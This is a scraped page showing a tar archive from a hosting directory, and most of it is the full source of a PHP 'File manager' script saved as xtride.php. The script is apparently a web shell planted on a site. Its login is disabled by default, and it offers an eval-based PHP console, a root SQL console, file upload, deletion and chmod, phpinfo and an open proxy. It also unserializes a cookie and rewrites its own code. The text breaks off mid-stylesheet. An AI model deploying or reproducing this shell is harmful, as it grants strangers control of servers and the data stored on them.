Файловый менеджер - Редактировать - /home/gqdcvggs/hizhat.com/auth.rommedia.eu.tar
Назад
.1711649987 0000644 00000000000 15114716233 0005642 0 ustar 00 .1711605669 0000644 00000000000 15114716233 0005627 0 ustar 00 .1711691419 0000644 00000000000 15114716233 0005625 0 ustar 00 akcc.php 0000644 00000000000 15114716233 0006147 0 ustar 00 xtride.php 0000644 00000235135 15114716233 0006570 0 ustar 00 <?php /* PHP File manager ver 1.6 */ // Configuration — do not change manually! $authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":""}'; $php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search": "Рекурсивный поиск","Mask":"Маска"}'; // end configuration // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.6; ini_set('display_errors', '1'); ini_set('display_startup_errors', '1'); error_reporting(E_ALL); //Authorization $auth = json_decode($authorization,true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/henriyzx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJ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lyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC"); } <?=fm_home_style()?> .img { background-image: 